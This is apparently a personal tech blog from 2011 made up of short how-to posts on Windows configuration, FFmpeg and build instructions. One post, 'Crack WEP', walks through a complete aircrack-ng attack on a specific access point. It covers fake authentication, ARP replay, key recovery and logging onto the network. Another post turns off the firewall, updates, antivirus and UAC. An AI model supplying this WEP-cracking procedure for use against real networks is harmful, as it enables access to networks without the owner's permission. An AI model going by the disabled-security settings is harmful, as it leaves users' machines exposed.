December 30, 2011

Capture Desktop With VLC

Install ImageMagick

Win64 dynamic
Add application directory to your system path

Conver cursor

convert c:/windows/cursors/aero_arrow.cur aero_arrow.png

Set cursor in VLC

Tools > Preferences > Show settings > All > Input/Codecs > Access modules > Screen > Mouse pointer image > d:/dropbox/pictures/aero_arrow.png


Media > Convert/Save > Capture Device > Capture mode > Desktop
Desired frame rate for the capture = 24
Destination file = d:/steven/desktop/output.mp4
Profile = Video - H.264 + AAC (MP4)


December 26, 2011

Do Not Download From YIFY

Taxi Driver (1976)

Blu-ray, April 5 2011 Link
Torrent, December 18 2010 Link

November 27, 2011

Google App Engine

Run your web apps on Google's infrastructure
Easy to build, easy to maintain, easy to scale



cloud application platform
deploy and scale powerful apps


Windows 7 Control Panel

Action Center
  • Change Action Center settings
    • Windows Update = off
    • Network firewall = off
    • Virus protection = off
    • Windows Backup = off
  • Change User Account Control settings
    • Choose when to be notified about changes to your computer = Never notify

  • Use AutoPlay for all media and devices = no

  • Set custom text size (DPI)
    • Scale to this percentage of normal size = 125%

Ease of Access Center
  • Always read this section aloud = no 
  • Always scan this section = no 
  • Make the keyboard easier to use
    • Set up Filter Keys 
      • Turn on Filter Keys when right SHIFT is pressed for 8 seconds = no

Folder Options
  • View
    • Apply to Folders
    • Hide extensions for known file types = off
    • Hide protected operating system files = off

Indexing Options

  • Change desktop icons
    • Computer
  • Desktop Background
    • Picture position = Fill
  • Screen Saver
    • 3 minutes

Power Options
  • Balanced
    • Change plan settings
      • Turn off the display = 30 minutes  
      • Put the computer to sleep = 3 hours

Programs and Features
  • Turn Windows features on or off
    • Media Features 
      • Windows DVD Maker = off
      • Windows Media Center = off

Region and Language
  • Short date = yyyy-MM-dd

  • Advanced system settings
    • Performance 
      • Settings
        • Show shadows under mouse pointer
        • Show thumbnails instead of icons
        • Smooth edges of screen fonts
        • Use drop shadows for icon labels on the desktop
        • Use visual styles on windows and buttons

    • Startup and Recovery
      • Settings
        • System failure
          • Automatically restart = no

Taskbar and Start Menu
  • Taskbar
    • Taskbar buttons = Combine when taskbar is full
  • Start Menu
    • Customize
      • Default Programs = off
      • Devices and Printers = off
      • Games = Don't display this item
      • Help = off
      • Open submenus when I pause on them with the mouse pointer = no 
      • Videos = Display as a link
      • Number of recent programs to display = 10
    • Privacy
      • Store and display recently opened items = off

Windows Firewall
  • Turn Windows Firewall on or off
    • Home network settings = Turn off
    • Public network settings = Turn off

Windows Update
  • Only do important updates
  • Change settings
    • Important updates = Never check for updates

M83, Midnight City

November 23, 2011

MP3 Diags

In a few words, MP3 Diags is a GUI-based application that allows end-users to identify issues with their MP3 files, fix some of the issues and make other changes, like adding track information. It also lets you "look inside" an MP3 file.
Unlike some programs that are designed to deal with a single topic (like fixing VBR headers or adding cover art), MP3 Diags is a one stop solution that identifies more than 50 different issues in MP3 files and provides the means to fix many of them


November 18, 2011

Links Library

<?xml version="1.0" encoding="UTF-8"?>
<!-- Save this to %appdata%/microsoft/windows/libraries/Links.library-ms -->
<librarydescription xmlns="">


November 17, 2011

RtmpDump, win64

Install MinGW MinGW Installer/mingw-get

It is important that you download mingw-get and not mingw-get-inst. mingw-get-inst installs x86 GCC

Build RtmpDump
:: for Windows
:: Install MSYS
mingw-get install msys-base
mingw-get install msys-wget
mingw-get install msys-unzip
mkdir c:/mingw64
sh mount c:/mingw64 /mingw64

:: Install GCC core
wget " 4.6 series/4.6.1-tdm64-1/gcc-4.6.1-tdm64-1-core.tar.lzma"
tar xfC "gcc-4.6.1-tdm64-1-core.tar.lzma" /mingw64

:: Install GNU binutils
wget " binutils/binutils-2.21.53-20110731-tdm64-1.tar.lzma"
tar xfC "binutils-2.21.53-20110731-tdm64-1.tar.lzma" /mingw64

:: Install mingw64 runtime
wget " runtime/GCC 4.6 series/mingw64-runtime-tdm64-gcc46-svn4483.tar.lzma"
tar xfC "mingw64-runtime-tdm64-gcc46-svn4483.tar.lzma" /mingw64

:: Install zlib
wget " binary packages (Win64 hosted)/Binaries (64-bit)/"
unzip ""
cd "zlib"
cp -r * /mingw64

:: Install PolarSSL
wget ""
tar xf "polarssl-1.0.0-gpl.tgz"
cd "polarssl-1.0.0"
make CC=gcc APPS=
make DESTDIR=/mingw64 install

:: Build RtmpDump
wget ""
tar xf "60218d0.tar.gz"
cd "rtmpdump"
make SHARED= SYS=mingw CRYPTO=POLARSSL LIBZ="-lz -static" VERSION="2.4-git-60218d0-20110930"

:: Optional, build librtmp.dll
make SYS=mingw CRYPTO=POLARSSL LIBZ="-lz -static"


Custom Windows 7 Taskbar

Resource Hacker I use 64-bit

Change taskbar button font color
the default is white i wanted to change it to black
1. go to C:\Windows\Resources\Themes\Aero

2. make a copy of aero.msstyles, that way you can work with the copy

3. open aero.msstyles in hex editor

4. go to hex address 35840 and change the color from FF FF FF to color of your choice, i did black which is 00 00 00

Change taskbar date/time font color
1. go to hex address 39D78 and change the color from FF FF FF to color of your choice

2. save and close

Change taskbar color
the color of the taskbar is determined by a PNG file located inside of the aero.msstyles file. before you can edit the file you need to extract the file from aero.msstyles

1. open aero.msstyles in Resource Hacker

2. go to IMAGE\841\1033

3. Action > Save [IMAGE : 841 : 1033]

4. the file should only be 3 pixels height by 1 pixel wide, its only the bottom pixel that needs to be changed (i changed the color to silver C0C0C0)

5. after editing the picture right click on the original resource inside of resource hacker and choose "Replace Resource..."

6. Resource Type is "IMAGE", Resource Name is "841", you can leave Resource Language blank, then hit "Replace"

Apply the Custom Theme
1. rename C:\Windows\Resources\Themes\Aero\aero.msstyles to aero-old.msstyles

2. rename new file to aero.msstyles

3. log off and back on

4. right click on desktop and choose "Personalize"

5. choose "Windows 7 Basic" under "Basic and High Contrast Themes"


November 11, 2011

Blogger Authorship, Google Search

Dashboard > Design > Page Elements > Add a Gadget > HTML/JavaScript





:: for Windows
:: Recursively remove hidden and system attributes
:: on files and folders
cd "%localappdata%/microsoft/windows"

attrib -s -h /s /d


November 10, 2011

Amon Tobin, Deo


# Cross platform
# Print tags
atomicparsley video.mp4 --textdata

# Remove all metadata
atomicparsley video.mp4 --metaEnema --overWrite

# Set thumbnail
atomicparsley video.mp4 --artwork frame.png --overWrite

# Remove thumbnail
atomicparsley video.mp4 --artwork REMOVE_ALL --overWrite


November 8, 2011

Multi Links

Multi Links lets you open, copy or bookmark multiple links at the same time rather than having to do them all individually.



November 7, 2011

Blogger Custom Navbar

This all started when I decided to change the URL of my blog. The problem comes with searching the blog. I know these methods to search a Blogger blog:

1. using the Navbar
2. using Search Box Gadget
3. using Google Custom Search
4. Google Search Form


When you change the URL of your blog, older posts are no longer searchable. Some have said that only the last 26 posts are searchable. I have found that any existing posts or Imported posts with date earlier than the URL change are not searchable by the Navbar. A workaround is to go to each post and change the date to Automatic, but this is not feasible for large blogs.

Search box gadget
This is similar to the Navbar, but allows for some customization. It suffers from same search problem as the Navbar.

Google Custom Search Engine
This is similar to the Navbar, but allows for some customization. It suffers from search problems as well.

Google Search Form
go to
Design > Add a Gadget > HTML/JavaScript
and add the custom Navbar


Google Homepage Background

Make your Google homepage feel more like, well, home! Choose your own image or photo to appear as the background to your Google homepage. You can choose an image from your Picasa Web photos, your computer or a Google public gallery.

October 28, 2011


Boot-Repair is a small graphical tool to restore access to Ubuntu and other OS (Windows..).
  • One "Recommended repair" button to repair most frequent boot problems. (generally repair filesystems and reinstall Grub2)
  • Another button to create a Boot-Info-Script summary in 1 click
  • Options to reinstall Grub2 easily (OS by default, purge, unhide, kernel options..), and other advanced options (MBR restore...).
Boot-Repair is a free software, licensed under GNU-GPL. Boot-Repair is not officially supported by Canonical, use it at your own risks.


October 25, 2011


Install MinGW
Windows 7 does not have a built-in command line program to extract from zip. Install MinGW using GUI. MinGW Installer/mingw-get

:: for Windows
:: C Compiler
mingw-get install base

:: MSYS Basic System
mingw-get install msys-base

:: MinGW Developer Toolkit
mingw-get install mingw-developer-toolkit

:: Mount installation
sh mount c:/mingw /mingw


GNU Make

wget ' binary packages (Win64 hosted)/make/'
cd make-3.82-20100827
cp bin_amd64/* /mingw64/bin

October 24, 2011

cURL for Windows

curl -O


cURL, Win64

Install UnZip
unz600xn -d unzip
cd unzip
move unzip.exe c:/dropbox/bin


UnZip, Win32

unz600xn -d unzip
cd unzip
move unzip.exe c:/dropbox/bin

You can download from SourceForge as well with wget.


FFmpeg, Map streams

Mix video from file A with audio from file B
ffmpeg -i A.mp4 -i B.mp4 -map 0:v -map 1:a -c copy -shortest out.mp4

ffmpeg -i A.mp4 -i B.mp4 -map 0:0 -map 1:1 -c copy -shortest out.mp4


Install MinGW64 Installer

Install MSYS binary packages (Win64 hosted)/MSYS (32-bit)

Install 7-Zip
mv 7za.exe /c/steven/downloads/bin/

Install Git
7za x PortableGit-1.7.6-preview20110709.7z -o*
cd PortableGit-1.7.6-preview20110709
mv bin/git.exe /c/steven/downloads/bin/

Install zlib
tar xf zlib-1.2.5.tar.gz
cd zlib-1.2.5

git apply --check fix_empty_poster.patch

FFmpeg Encoding Defaults



FFmpeg, Cut to frame, same audio

MP4 is sometimes needed to fix mp3 headers
ffmpeg -i in.avi -c copy in.mp4

Encode to FFVhuff
ffmpeg -ss 1:31:0 -t 0:4:0 -i in.mp4 -c:v ffvhuff -c:a copy FFVhuff.mkv

Get cut values with Avidemux
ffmpeg -ss 26.818 -t 5.682 -i FFVhuff.mkv -c:a copy -threads 6 out.mkv


October 22, 2011

FFmpeg Basics


Windows builds

Get file info
ffmpeg -i in.mp4

Remux to MP4
ffmpeg -i in.flv -c copy out.mp4

Convert sample rate
ffmpeg -i in.mp3 -ab 192k -ar 44100 out.mp3


October 20, 2011

Microsoft Office 2010 Professional

Microsoft Office 2010 is a productivity suite for Microsoft Windows, and the successor to Microsoft Office 2007. Office 2010 includes extended file format support, user interface updates, and a changed user experience. A 64-bit version of Office 2010 is available, although not for Windows XP or Windows Server 2003.


Run from My Computer
Microsoft Excel
Microsoft Publisher
Microsoft Word
Office Shared Features > Proofing Tools > English Proofing Tools
Office Shared Features > Visual Basic for Applications

October 18, 2011

FFmpeg, Screencast Linux

A screencast is a digital recording of computer screen output, also known as a video screen capture, often containing audio narration. The term screencast compares with the related term screenshot; whereas screenshot is a picture of a computer screen, a screencast is essentially a movie of the changes over time that a user sees on a computer screen, enhanced with audio narration.



UPX, the Ultimate Packer for eXecutables, is a free and open source executable packer supporting a number of file formats from different operating systems.

UCL has been designed to be simple enough that a decompressor can be implemented in just a few hundred bytes of code. UCL requires no additional memory to be allocated for decompression, a considerable advantage that means that a UPX packed executable usually requires no additional memory.


Process Dumper

Process Dumper is able to make a dump of a running process in a forensical manner.

* dumps the whole process space (all data and code mappings)
* uses meta information to describe the different mappings (needed for advanced analysis)
* also saves the process environment and state
* outputs to stdout, so its possible to combine it with other tools (netcat etc.)
* doesn't touch the harddisk at all



ProcDump is a command-line utility whose primary purpose is monitoring an application for CPU spikes and generating crash dumps during a spike that an administrator or developer can use to determine the cause of the spike. ProcDump also includes hung window monitoring (using the same definition of a window hang that Windows and Task Manager use), unhandled exception monitoring and can generate dumps based on the values of system performance counters. It also can serve as a general process dump utility that you can embed in other scripts.


October 17, 2011


  • Choose Components
    • Context Menu Entry
    • Plugins
      • NppExport
  • Create C:\Program Files (x86)\Notepad++\asNotepad.xml
  • Edit C:\Users\Steven\AppData\Roaming\Notepad++\stylers.xml

  • Editing
    • Folder Margin Style = None
    • Display bookmark = no
    • Enable current line highlighting = no

Style Configurator
  • Global Styles
    • Default Style
      • Font name = Lucida Console


RtmpDump Parameters

October 15, 2011


RtmpExplorer routes all rtmp traffic to RtmpSrv.

- No need to search for the host/server address
- No need to edit the HOST file


Install .NET Framework Client Profile

Install Adobe Flash Player

October 10, 2011



FFmpeg, Cut to frame, different audio

Get audio cuts with Audacity
ffmpeg -ss 0:3:55.570 -t 0:2:36.7 -i in.mp3 -c copy trim.mp3

Encode to FFVhuff
ffmpeg -ss 1:31:0 -t 0:4:0 -i in.mkv -c ffvhuff -an -sn FFVhuff.mkv

Get cut values with Avidemux
ffmpeg -ss 26.818 -t 0:2:33.111 -i FFVhuff.mkv -c copy trim.mkv

ffmpeg -i trim.mkv -i trim.mp3 -vf scale=638:-1,fade=out:3658:14 -c:a copy -threads 6 out.mkv

ffmpeg -ss 26.818 -i FFVhuff.mkv -c copy trim.mkv

Scale, fade, mux audio
ffmpeg -i trim.mkv -i trim.mp3 -vf scale=638:-1,fade=out:3658:14 -c:a copy -shortest -threads 6 out.mkv


The correct way is to put -ss first, then -i. If you put -i first it will cause sync issues.


FFmpeg, H.264


FFmpeg, Trim video

October 9, 2011


MySQL Community Server

Get 64-bit MSI

2. Install
Setup Type = Custom
choose only MySQL Server > Client Programs
Launch the MySQL Instance Configuration Wizard = Yes

MySQL Server Instance Configuration
Standard Configuration
Install As Windows Service = Yes
Launch the MySQL Server automatically = No
Include Bin Directory in Windows PATH = No
Modify Security Settings = No

3. Install HeidiSQL

4. Create new session MySQL
User = root
Compressed client/server protocol = no

5. Export CSV
First row contains column names = no
Fields separated by = Pipe
Fields enclosed by = None

6. Import CSV
Ignore first lines = 0
Fields terminated by = (Pipe)
Fields enclosed by = (nothing)
optionally = no
Fields escaped by = (nothing)
Lines terminated by = \n


October 6, 2011

October 5, 2011


Cygwin is a Unix-like environment and command-line interface for Microsoft Windows. Cygwin provides native integration of Windows-based applications, data, and other system resources with applications, software tools, and data of the Unix-like environment. Thus it is possible to launch Windows applications from the Cygwin environment, as well as to use Cygwin tools and applications within the Windows operating context.


Choose A Download Source = Install from Internet
Select Packages = Keep
Select required packages = Yes
Create icon on Desktop = No
Add icon to Start Menu = No

mount -c /
mount C:/MinGW64 /mingw64
mount -m > /etc/fstab


Inbound Links

How to Change the Windows 7 taskbar background?

How to install get_flash_videos

Cropped Video - Subtitles Aspect Ratio not Correct

Why is my search box not working?

Create from an mp3 file and a jpg image mp4 video using ffmpeg

[rtmpdump] Command to compile Windows build?

How to download videos from onto your computer?

Problem downloading Hulu videos with get_flash_videos
Joining H264 *without* re-encoding

Steven Penny on Vimeo

Change Frame Used For Video Thumbnail Generation

September 29, 2011


SoX is a cross-platform (Windows, Linux, MacOS X, etc.) command line utility that can convert various formats of computer audio files in to other formats. It can also apply various effects to these sound files, and, as an added bonus, SoX can play and record audio files on most platforms.



September 25, 2011


PolarSSL is a dual licensed (open source - GPLv2 and commercial) implementation of the SSL and TLS protocols. The core library (written in the C programming language) implements the basic cryptographic functions and provides various utility functions.

Install required packages
mingw-get install msys-wget

Install PolarSSL
tar xf polarssl-1.0.0-gpl.tgz
cd polarssl-1.0.0
make CC=gcc APPS=
make DESTDIR=/mingw install



Perl is a high-level, general-purpose, interpreted, dynamic programming language. Perl was originally developed by Larry Wall in 1987 as a general-purpose Unix scripting language to make report processing easier. Since then, it has undergone many changes and revisions and become widely popular amongst programmers. Larry Wall continues to oversee development of the core language, and its upcoming version, Perl 6. Perl borrows features from other programming languages including C, shell scripting (sh), AWK, and sed. The language provides powerful text processing facilities without the arbitrary data length limits of many contemporary Unix tools, facilitating easy manipulation of text files. Perl gained widespread popularity in the late 1990s as a CGI scripting language, in part due to its parsing abilities.

perl -MCPAN -e shell
install XML::Simple


September 24, 2011

Program Locations

C:\Program Files\7-Zip


C:\Program Files\Avidemux 2.5










C:\Program Files\Notepad2

Process Dumper




C:\Program Files (x86)\SciTE

Strawberry Perl

C:\Program Files (x86)\SumatraPDF

VLC media player
C:\Program Files (x86)\VideoLAN\VLC

September 16, 2011

Crack WEP

Hardware selection

Install BackTrack Linux

Test hardware
List interfaces

Enable monitor mode
airmon-ng start wlan0

Test injection
aireplay-ng --test mon0

Assoicate with the AP
Find target AP
airodump-ng mon0

Start capture
airodump-ng -c 11 --bssid 30:46:9A:A3:7C:06 -w GOBIN mon0

Fake authentication with AP
aireplay-ng --fakeauth 0 -a 30:46:9A:A3:7C:06 mon0

Interactive frame selection attack
aireplay-ng --interactive -p 0841 -c FF:FF:FF:FF:FF:FF -a 30:46:9A:A3:7C:06 mon0

WEP-encrypted ARP request packets are typically either 68 (from a wireless client) or 86 (from a wired client) bytes.

Standard ARP-request replay attack
Use this attack only if there is an active client.

aireplay-ng --arpreplay -b 30:46:9A:A3:7C:06 mon0

aircrack-ng GOBIN-01.cap

It is usually 10000-34000 IVs to find the key. The WEP key appears next to "KEY FOUND". Drop the colons and enter it to log onto the network.


September 14, 2011

Microsoft Streets & Trips 2011

Microsoft Streets & Trips, known in Europe as Microsoft AutoRoute, is mapping software developed and distributed by Microsoft. Functionally the latest version is a subset of Microsoft MapPoint targeted at the average consumer to do a variety of map related tasks in the North American region including the United States, Canada, and Mexico, such as route planning.


WinCDEmu is an open-source CD/DVD/BD emulator - a tool that allows you to mount optical disc mages by simply clicking on them in Windows Explorer. If you have downloaded an ISO image and want to use it without burning it to a blank disc, WinCDEmu is the easiest way to do it.


Download portable version

September 9, 2011

Web Design

Web design is the process of designing websites — a collection of online content including documents and applications that reside on a web server/servers.

As a whole, the process of web design includes planning, post-production, research, advertising, as well as media control that is applied to the pages within the site by the designer or group of designers with a specific purpose. The site itself can be divided into its main page, also known as the home page, which cites the main objective as well as highlights of the site's daily updates; which also contains hyperlinks that functions to direct viewers to a designated page within the site's domain.


September 6, 2011 is a noncommercial free library created for popularization of fiction and accordingly of increase of the general educational level and culture. The library contains over 100,000 books, the fund is constantly updated. Therefore it is quite possible that the book which author of it doesn't wish will get to open access.

Wherever possible, the releases are available in plain text, but other formats are included, such as HTML, PDF, EPUB, MOBI, and Plucker. Most releases are in the English language, but many non-English works are also available.


September 4, 2011

Top Gear

Top Gear is a British television series about motor vehicles, primarily cars. It began in 1977 as a conventional motoring magazine show. Over time, and especially since a relaunch in 2002, it has developed a quirky, humorous style. The show is currently presented by Jeremy Clarkson, Richard Hammond and James May, and has featured at least three different test drivers known as The Stig.

The show has received acclaim for its visual style and presentation, as well as criticism for its content and comments made by presenters. Columnist A. A. Gill, close friend of Clarkson and fellow Sunday Times columnist, described the show as "a triumph of the craft of programme making, of the minute, obsessive, musical masonry of editing, the French polishing of colourwashing and grading".

Includes Winter Olympics Special
Includes US Special
Includes Polar Special, Botswana Special
Includes Vietnam Special
Includes Bolivia Special
Includes USA Road Trip, Middle East Special


August 25, 2011

Windows XP Professional SP3

In 2001, Microsoft released Windows XP (code named "Whistler"). The merging of the Windows NT/2000 and Windows 95/98/Me lines was finally achieved with Windows XP. Windows XP uses the Windows NT 5.1 kernel, marking the entrance of the Windows NT core to the consumer market, to replace the aging 16/32-bit branch. The initial release met with considerable criticism, particularly in the area of security, leading to the release of three major Service Packs. Windows XP SP1 was released in September 2002, SP2 came out in August 2004 and SP3 came out in April 2008.


August 16, 2011

Command Prompt

Command Prompt (executable name cmd.exe) is the Microsoft-supplied command-line interpreter on OS/2, Windows CE and on Windows NT-based operating systems (including Windows 2000, XP, Vista, 7, Server 2003 and Server 2008). It is the analog of the Unix shells used on Unix-like systems.

Control menu > Properties
Options > Discard Old Duplicates > True
Options > QuickEdit Mode > True
Font > Font > Lucida Console
Font > Size > 18
Layout > Window Size > Height > 25


August 14, 2011


Install required packages
mingw-get install msys-wget
mingw-get install msys-unzip

Install HandBrake
mv HandBrakeCLI.exe /c/dropbox/bin/

Get subtitles
handbrakecli --input input.mkv --title 0

Encode video
handbrakecli --input input.mkv --encoder x264 --quality 23 --rate 23.976 --strict-anamorphic --subtitle 1,2 --output output.mp4


August 7, 2011


Dashboard > Design > Add a Gadget > HTML/JavaScript


Add script
SyntaxHighlighter.defaults['light'] = true;

Add style
.syntaxhighlighter {
padding : 2px 3px;
line-height : 1.1em;
font-family : monospace


July 31, 2011


awk '{RS="\0"}/video server/' plugin-container.dmp

dir /b | awk -v q=\" {print\"mv\",q$0q,q$0q} | sed s/foo/bar/2 | cmd


July 29, 2011


xargs is a command on Unix and most Unix-like operating systems used to build and execute command lines from standard input. Under the Linux kernel before version 2.6.23, arbitrarily long lists of parameters could not be passed to a command,[1] so xargs breaks the list of arguments into sublists small enough to be acceptable.

tasklist \
| awk /plugin-container.exe/"{print$2}" \
| xargs -I ! pd -p ! \
| grep -az "video server"


July 21, 2011

DvdAuthor for Windows

Install required packages
mingw-get install msys-unzip
mingw-get install msys-wget

Install DvdAuthor
cd dvdauthor-win32-0.7.0
mv * /c/dropbox/bin/


July 19, 2011

Hosted Git

If you don’t want to go through all of the work involved in setting up your own Git server, you have several options for hosting your Git projects on an external dedicated hosting site. Doing so offers a number of advantages: a hosting site is generally quick to set up and easy to start projects on, and no server maintenance or monitoring is involved. Even if you set up and run your own server internally, you may still want to use a public hosting site for your open source code — it’s generally easier for the open source community to find and help you with.


July 17, 2011

mkisofs for Windows

Install Wget
mingw-get install msys-wget

Install mkisofs
mv mkisofs.exe /c/dropbox/bin/


July 14, 2011

sed, MinGW

Replace binary characters
sed -b s/[\x0-\x1f\x7f-\x9f]/_/g input.mp3

June 24, 2011


1. Install

2. Create a New DVD
   File > New
   Video Format = NTSC
   Aspect Ratio = 16:9

3. Select Template for DVD Menus
   No template

4. Delete DVD Menu

5. Add video file

6. Burn
   File > Burn DVD
   Temp directory = C:\Steven\Desktop\
   just generate

June 23, 2011

Format Removable Disk

512 bytes
1,024 bytes
2,048 bytes
4,096 bytes
8,192 bytes
16 kilobytes
32 kilobytes
64 kilobytes

4,096 bytes
8,192 bytes
16 kilobytes
32 kilobytes
64 kilobytes

1,024 bytes
2,048 bytes
4,096 bytes
8,192 bytes
16 kilobytes
32 kilobytes
64 kilobytes
128 kilobytes
256 kilobytes
512 kilobytes
1,024 kilobytes
2,048 kilobytes
4,096 kilobytes
8,192 kilobytes
16,384 kilobytes
32,768 kilobytes

Tested on Seagate GoFlex TV

Code Background

#000000, 0 bright
ffmpeg -i input.flv -vcodec copy -acodec copy output.mp4

#ECECEC, GitHub (Bitstream Vera Sans Mono), 708 bright
ffmpeg -i input.flv -vcodec copy -acodec copy output.mp4

#EEEEEE, Google Code (Monaco), Stack Overflow (Consolas), 714 bright
ffmpeg -i input.flv -vcodec copy -acodec copy output.mp4

#EAF2F5, GitHub (Bitstream Vera Sans Mono), 721 bright
ffmpeg -i input.flv -vcodec copy -acodec copy output.mp4

#F9F9F9, Wikipedia (Courier New), 747 bright
ffmpeg -i input.flv -vcodec copy -acodec copy output.mp4

#F5FDFF, Super User (Consolas), 753 bright
ffmpeg -i input.flv -vcodec copy -acodec copy output.mp4

June 15, 2011

Comparison of Text Editors

Notepad2, no default bash highlighting, Windows only
Notepad++, string color incorrect
SciTE, default bash highlighting incorrect, not using monospace font
Programmer’s Notepad, default bash highlighting incorrect, Windows only
ConTEXT, no default bash highlighting, Windows only, over 1 year old
Crimson Editor, Windows only, over 1 year old
Acme, no syntax highlighting
AkelPad, no syntax highlighting
Aquamacs, Mac only
Bluefish, not Windows
Caditor, horrible, horrible program
Diakonos, console application
Geany, GTK2
gedit, GNOME
GNU Emacs, console application
Gobby, no multiple instance
JED, no multiple instance
jEdit, requires Java
JOE, not Windows
Kate, not Windows
KEDIT, closed source
Komodo Edit, no multiple instance
KWrite, requires KDE
LE, not Windows
Metapad, no syntax highlighting
MinEd, no syntax highlighting
Nano, console application
NEdit, not Windows
nvi, not Windows
PolyEdit, closed source
Q10, closed source
RText, requires Java
Smultron, Mac only
TED Notepad, closed source
TextEdit, closed source
Vim, console application
XEmacs, console application
Yi, not Windows

June 5, 2011

How I Found Out About Plitvice Lakes

I was watching a youtube video

In the video it mentions the actress Meryl Streep, so i looked her up.

one of her movies was prime,

which also starred uma thurman

uma was also in Gattaca,

a movie which talks about human enhancement.

One emerging technology of human enhancement is neural implants.

A movie that talked about neural implants was Johnny Mnemonic,

a film classified as "cyberpunk".

A building complex that displays a cyberpunk aesthetic is the Sony Center,

a center which contains a building featuring the fasted elevator in Europe.

One type of elevator is an express elevator, which moves between the ground floor and a skylobby.

The former World Trade Center's twin towers used sky lobbies.

The world trade center is actually a complex is seven buildings, the last of which is called 7 WTC.

After the World Trade Center was destroyed by terrorist attacks one of local neighborhoods that was affected is known as Tribeca.

One of the notable residents of Tribeca is Heather Graham.

In 2000, Heather Graham starred in a movie called Committed.

One of the other stars of that movie was Goran Visnjic

Goran Visnjic was born in what is now known as Croatia.

The Plitvice Lakes are a national park in Croatia.

Ta Da!

May 30, 2011

Microsoft Excel 2010

Excel Options
1. Proofing > AutoCorrect Options > AutoCorrect
Correct TWo INitial CApitals = no

2. Advanced > Editing options
Enable AutoComplete for cell vales = no

Multiple choice in drop down menu
Option Explicit
Private Sub Worksheet_Change(ByVal Target As Range)
   Dim rngDV As Range
   Dim oldVal As String
   Dim newVal As String
   If Target.Count > 1 Then GoTo exitHandler
   On Error Resume Next
   Set rngDV = Cells.SpecialCells(xlCellTypeAllValidation)
   On Error GoTo exitHandler
   If rngDV Is Nothing Then GoTo exitHandler
   If Intersect(Target, rngDV) Is Nothing Then GoTo exitHandler
   Application.EnableEvents = False
   newVal = Target.Value
   oldVal = Target.Value
   Target.Value = newVal
   If oldVal = "" Then GoTo exitHandler
   If newVal = "" Then GoTo exitHandler
   Target.Value = oldVal & ", " & newVal
      Application.EnableEvents = True
End Sub

Conditional Formatting
New Rule > Use a formula to determine whice cells to format
Format > Font > Color > More Colors > Custom
Format > Fill > Background Color > More Colors > Custom

RGB 0 97 0
RGB 198 239 206

RGB 156 101 0
RGB 255 235 156

RGB 156 0 6
RGB 255 199 206



GIMP is an acronym for GNU Image Manipulation Program. It is a freely distributed program for such tasks as photo retouching, image composition and image authoring.

It has many capabilities. It can be used as a simple paint program, an expert quality photo retouching program, an online batch processing system, a mass production image renderer, an image format converter, etc.

May 24, 2011


MakeMKV is your one-click solution to convert video that you own into free and patents-unencumbered format that can be played everywhere. MakeMKV is a format converter, otherwise called "transcoder". It converts the video clips from proprietary (and usually encrypted) disc into a set of MKV files, preserving most information but not changing it in any way.

April 23, 2011

Drake, Killer (ft. Nipsey Hussle)


Tools > Folder Manager
Scan Always
Face Detection Off

1. delete from memory card

2. Import from memory card
3. Import to C:\Steven\Pictures\picasa
4. Sync to Web

April 17, 2011

A pastebin is a type of web application that allows its users to upload snippets of text, usually samples of source code, for public viewing. It is very popular in IRC channels where pasting large amounts of text is considered bad etiquette.

April 12, 2011

NVIDIA Graphics Driver

1. Test archive
2. use installer, do not extract files
3. Stop NVIDIA Driver Helper Service

4. Delete

5. Delete
C:\Program Files\NVIDIA Corporation\Display\NvXDSync.exe

April 10, 2011

Comparison of Media Players

MusicBee proprietary
Popularimeter (POPM) support

iTunes proprietary
MediaMonkey Standard proprietary
Winamp proprietary
Windows Media Player proprietary

aTunes 2.0.1
requires java
cannot mass tag rating

Banshee 2.0.0

Clementine 0.7.1  
no Popularimeter (POPM)
tag edit requires full library rescan

Quod Libet 2.3
no Attached picture (APIC)
no Popularimeter (POPM)
TIT1 (grouping) rating
tags not recognized by windows

Songbird 1.9.3 
no popularimeter (POPM)
TXXX rating
BPM rating
6.443 second startup

Amarok requires KDE
Audacious not Windows
Beep Media Player discontinued
cmus console
Cog Mac only
Decibel Audio Player not Windows
Exaile not Windows
FFplay no media database
JuK not Windows
Kaffeine not Windows
Konqueror Media Player video player
Listen discontinued
Media Player Classic video player
Media Player Classic Home Cinema video player
MPlayer video player
Mplayerxp video player
MPXPLAY console
Music on Console not Windows
Music Player Daemon music player server
musikCube 4 years old
Ogle video player
QuickPlayer no media database
Rhythmbox not Windows
SMPlayer video player
The Core Pocket Media Player discontinued
Totem Movie Player not Windows
UADE Amiga music
VLC video player
XBMC video player
xine video player
XMMS not Windows
Zinf 6 years old